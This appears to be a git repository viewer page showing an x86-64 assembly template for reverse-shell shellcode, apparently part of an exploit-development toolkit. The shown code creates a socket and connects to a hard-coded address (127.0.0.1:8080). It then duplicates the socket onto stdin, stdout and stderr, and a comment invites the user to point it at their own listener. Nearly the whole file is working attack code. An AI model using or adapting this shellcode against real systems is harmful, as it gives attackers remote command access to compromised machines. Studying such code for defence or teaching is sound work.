summaryrefslogtreecommitdiffstats
path: root/templates/shellcode/examples/tcp64.asm
blob: 1ec3bc84854d6c9469042a82e0011a34e0410907 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
; Based loosely on https://systemoverlord.com/2018/10/30/understanding-shellcode-the-reverse-shell.html

; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor     rax, rax
xor     rdi, rdi
xor     rsi, rsi
xor     rdx, rdx
mov      al, 41
mov     dil, 2
mov     sil, 1
syscall

; !! Edit this section to connect back to your listener !!
;
; struct sockaddr_in {                  // Struct size: 16
;   short int           sin_family;     // AF_INET (2)
;   unsigned short int  sin_port;       // Set to 8080 below
;   struct in_addr      sin_addr;       // Set to 127.0.0.1 below
;   unsigned char       sin_zero[8];
; };
;
; struct in_addr {                      // Struct size: 4
;   uint32_t s_addr;
; };
xor     rbx, rbx
push    rbx
mov     rbx, 0x0100007f901f0002
push    rbx

; connect(fd, sockaddr, sizeof sockaddr)
mov     rdi, rax
mov     rsi, rsp
mov      dl, 16
xor     rax, rax
mov      al, 42
syscall

; dup2(fd, stdin)
; dup2(fd, stdout)
; dup2(fd, stderr)
xor     rsi, rsi
mov      al, 33
syscall
mov     sil, 1
mov      al, 33
syscall
mov     sil, 2
mov      al, 33
syscall